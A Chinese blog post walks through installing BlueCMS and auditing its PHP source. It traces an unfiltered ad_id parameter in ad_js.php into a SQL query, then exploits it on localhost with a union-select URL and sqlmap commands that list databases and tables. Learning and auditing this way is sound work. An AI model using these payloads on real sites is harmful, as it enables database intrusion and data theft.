首页 > 数据库 >bluecms搭建和代码审计(SQL)

bluecms搭建和代码审计(SQL)

时间:2024-09-12 17:51:14浏览次数:1  
标签:blue 语句 ad bluecms SQL php id 搭建

bluecms搭建

将bluecms的源码文件bluecms放在www目录下,进入bluecms/install/index.php目录安装bluecms

图片名称

填写数据库配置信息和管理员账号信息

图片名称

填写完上述信息后,会自动在bluecms数据库下创建这些文件

图片名称

返回主界面 http://127.0.0.1/bluecms后发现管理员不能从前台登录,

需要从http://127.0.0.1/bluecms/admin/login.php登录

图片名称 搭建成功,已进入后台管理系统 图片名称

新建项目,使用Seay进行自动审计,但这个分析只是单一的静态分析里面的代码和函数可能出现的漏洞

图片名称

代码审计

将blue代码载入到IDEA中,搜索如下正则表达式

(update|select|insert|delete|).*?where.*=\

这段正则表达式设计用于匹配SQL语句中包含"where"子句且条件中出现等号"="的部分。下面是对各部分的详细解析:

  1. (update|select|insert|delete|
    • 这部分匹配SQL语句的开始,可以是UPDATE, SELECT, INSERT, 或 DELETE。使用竖线|作为选择操作符,表示匹配其中任意一个。
  2. .*?
    • 这是一个非贪婪的点星模式,表示匹配任意字符(.)任意次(*),但尽可能少(?)。这用于匹配上述关键字之后直到where关键字之前的任意字符。
  3. where
    • 匹配WHERE关键字,用于SQL语句中指定条件的部分。
  4. .*=\
    • 这部分继续使用非贪婪的点星模式匹配where关键字之后的任意字符,直到找到第一个等号=。等号后面跟着的反斜杠\用于确保等号是作为匹配目标,而不仅仅是语法的一部分。

总结来说,整个正则表达式用于在一段文本中查找UPDATE, SELECT, INSERT, 或 DELETE语句,且这些语句中包含where条件子句和等号=作为条件的一部分。它主要用于从一段文本中抽取或识别特定的SQL语句结构。

在正则表达式中,.*是一个非常常用的模式,它代表匹配任意数量(包括零个)的任意字符。

  • .(点)匹配除换行符之外的任何单个字符。
  • *(星号)是一个量词,它表示前面的模式(在这里是.)可以重复零次或多次。

.*组合在一起时,它意味着匹配尽可能多的任意字符。这种模式通常用于匹配或查找不关心具体内容的任意文本,或者用于跳过直到下一个特定模式出现前的文本。

例如,如果在正则表达式中使用Hello.*world,这将匹配任何以"Hello"开始,以"world"结束的字符串,中间可以是任何字符,包括空字符串。

需要注意的是,*默认是贪婪的,即它会尽可能多地匹配字符,直到下一个模式出现。如果需要让.*尽可能少地匹配字符,可以使用非贪婪(或懒惰)模式,即.*?

图片名称

查找正则表达式匹配到的SQL语句中哪个有变量

  • info_index.php中有变量pub_date,但是写在order by后面,不是连接前面的while循环,这种不优先看

    " WHERE lit_pic != '' 
    		ORDER BY pub_date DESC 
    
  • ad_js.php中有变量$ad_id,这种情况就可以优先看,因此此时变量直接拼接在where列名(ad_id)之后。在注入时,大部分的注入语句都是在while后面的一个变量,通过跟踪那个变量值来注入。像上面的变量写在order by后面的就不一定能注入成功

    $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
    

    getone不是php的官方函数,那就是自定义函数,其功能应该是执行后面的SQL语句并将其值赋值给$ad

图片名称

右键函数=>转到=>声明或用例(声明是看这个函数如何定义,实现就是引用这个函数的地方)

跳转到声明这个函数的地方mysql.class.php,查看函数声明

function getone($sql, $type=MYSQL_ASSOC){
   $query = $this->query($sql,$this->linkid);
   $row = mysql_fetch_array($query, $type);
   return $row;
}

可以确定geton这个函数的功能是执行后面的SQL语句并将其值赋值给$ad,知道了函数的功能后就要看函数中的变量能不能被控制,来确定是否可以注入

在当前文件ad_js.php下全局搜索$ad_id

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';   //使用了三元运算符xx?xx:xx
if(empty($ad_id))
{
	echo 'Error!';
	exit();
}

如果$_GET['ad_id']存在且非空,则使用trim()函数去除ad_id字符串两侧的空白字符,然后将结果赋值给$ ad_id。
如果$_GET['ad_id']不存在或为空,则$ ad_id被赋值为空字符串''。

前面跟踪getone以及$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';发现都没有进行过滤,直接测试这个漏洞



漏洞测试

步骤如下

文件路径是在bluecms\ad_js.php,直接访问本地搭建的这个网站对应文件

图片名称 修改一下mysql.class.php中的getone函数,输出对应的sql语句方便查看 图片名称

进行测试

图片名称

执行sql语句http://127.0.0.1/bluecms/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()),但是并没有结果回显。因为在getone函数执行sql语句之后并没有将结果进行输出,所以此类注入点一般采用延迟注入或者是报错注入(无回显)

图片名称

使用sqlmap进行测试

python sqlmap.py -u "http://127.0.0.1/bluecms/ad_js.php?ad_id=1"

判断出两种方式:事件盲注和联合查询

图片名称

查询数据库、当前数据库、当前用户信息

python sqlmap.py -u "http://127.0.0.1/bluecms/ad_js.php?ad_id=1" --dbs --current-db --current-us
er

查询成功

[16:58:48] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29, PHP, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[16:58:48] [INFO] fetching current user
[16:58:49] [WARNING] reflective value(s) found and filtering out
current user: 'root@localhost'
[16:58:49] [INFO] fetching current database
current database: 'bluecms'
[16:58:49] [INFO] fetching database names
available databases [8]:
[*] bluecms
[*] challenges
[*] employee
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] sys

查询bluecms这个数据库的全部表名

sqlmap.py -u "http://127.0.0.1/bluecms/ad_js.php?ad_id=1" -D bluecms --tables

查询成功

[17:03:37] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 5.3.29, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[17:03:37] [INFO] fetching tables for database: 'bluecms'
[17:03:37] [WARNING] reflective value(s) found and filtering out
Database: bluecms
[29 tables]
+------------------+
| blue_ad          |
| blue_ad_phone    |
| blue_admin       |
| blue_admin_log   |
| blue_ann         |
| blue_ann_cat     |
| blue_arc_cat     |
| blue_area        |
| blue_article     |
| blue_attachment  |
| blue_buy_record  |
| blue_card_order  |
| blue_card_type   |
| blue_category    |
| blue_comment     |
| blue_config      |
| blue_flash_image |
| blue_guest_book  |
| blue_ipbanned    |
| blue_link        |
| blue_model       |
| blue_navigate    |
| blue_pay         |
| blue_post        |
| blue_post_att    |
| blue_post_pic    |
| blue_service     |
| blue_task        |
| blue_user        |
+------------------+

标签:blue,语句,ad,bluecms,SQL,php,id,搭建
From: https://www.cnblogs.com/evo-lution/p/18410734

相关文章

  • Appium+python框架搭建
    一、Appium-Python-Client①安装依赖库也就大家说的客户端,这里的客户端指的是我编辑代码的界面,因为代码界面我要引入webdriver所以叫客户端,其实本质是一个依赖库跟selenium差不多②安装的命令:pipinstallAppium-Python-Client(python环境所以安装python包)③Appium-Python-Clien......
  • Hadoop(五)生产集群搭建(二)
    完全分布式运行模式一、SSH无密登录配置1、基本语法ssh另一台电脑的IP地址[user@hadoop102~]$sshhadoop103退回hadoop102[user@hadoop103~]$exit2、配置(1)生成公钥和私钥[[email protected]]$pwd/home/atguigu/.ssh[[email protected]]$ssh-keygen-tr......
  • DBA-MySQL巡检报告 模版
    DBA-MySQL巡检报告模版 -20240912——————————————————————————————————————————————————————————----2024年9月12日17:02:13----bayaim----以下内容纯属个人原创,纯属个人多年经验总结,非喜勿喷,----本巡检报告......
  • 避免数据复制延迟,解读GaussDB(for MySQL) 主备0延迟
    本文分享自华为云社区《【选择GaussDB(forMySQL)的十大理由】之一:主备0延迟》,作者: GaussDB数据库。复制延迟是传统MySQL架构难以消除的缺陷在企业级的生产环境中,MySQL通常使用集群架构,常见的有一主一从和一主多从,且在很多情况下都会面临主从复制延迟的问题。MySQL的复制延迟......
  • 搭建基于Grafana+Prometheus+Node_exporter的性能监控与分析平台(Linux版)
    搭建基于Grafana+Prometheus+Node_exporter的性能监控与分析平台(Linux版)在现代IT环境中,系统监控与分析是确保应用稳定性和高效性的关键。Prometheus与Grafana的结合,为我们提供了一个强大而灵活的监控解决方案,能够实时地收集、处理并展示系统性能指标。本文将详细介绍如何在Linux......
  • DataGrip 2021.2.2如何导出.sql文件
     目录Blue留声机: 导出文件:1、点击要导出的table,选择Exportwith'mysqldump'2、选择一下数据库备份数据的路径,选择导出sql文件存放的位置导入文件: 概览:1.第一步,进入运维管理端,通过命令行进入数据库2.第二步,切换数据库3.第三步,导入sql文件source无法导入sql文件......
  • centos下,搭建多仓库的svn服务器
    1、安装软件yum-yinstallsubversion2、查看安装版本 svnserve--version3、创建SVN版本库目录 mkdir-p/data/svn/svnrepos4、创建版本库svnadmincreate/dadta/svnroot/tingyiqusvnadmincreate/dadta/svnroot/bbssvnadmincreate/dadta/svnroot/blog5、将其中一个仓库下......
  • PBOOTCMS网站程序提示“执行SQL发生错误!错误:DISK I/O ERROR”
    当PBOOTCMS网站程序提示“执行SQL发生错误!错误:DISKI/OERROR”时,这通常意味着磁盘输入输出(I/O)出现了问题,可能是由于磁盘空间不足、文件系统损坏或是磁盘硬件故障等原因导致的。以下是一些可能的解决方案:解决方案检查磁盘空间清理缓存文件修复文件系统检查磁盘硬件详细......
  • PbootCMS数据库配置,修改为Mysql数据库,配置Mysql出错解决办法
    在PbootCMS中,默认情况下使用的是SQLite数据库。如果您希望将数据库从SQLite更改为MySQL,可能会遇到一些配置上的问题。下面是针对配置MySQL数据库时可能出现的问题及解决办法的一些建议:配置MySQL数据库的步骤创建MySQL数据库:登录到您的MySQL服务器。创建一个......
  • 探索MySQL视图的无限可能:优化查询、增强数据安全与简化数据访问
     作者简介:我是团团儿,是一名专注于云计算领域的专业创作者,感谢大家的关注 座右铭:   云端筑梦,数据为翼,探索无限可能,引领云计算新纪元 个人主页:团儿.-CSDN博客目录前言:正文:1.视图的定义:2.视图的优点:简单化:安全性:逻辑数据独立性:3.创建单表视图创表:插入数据:创建......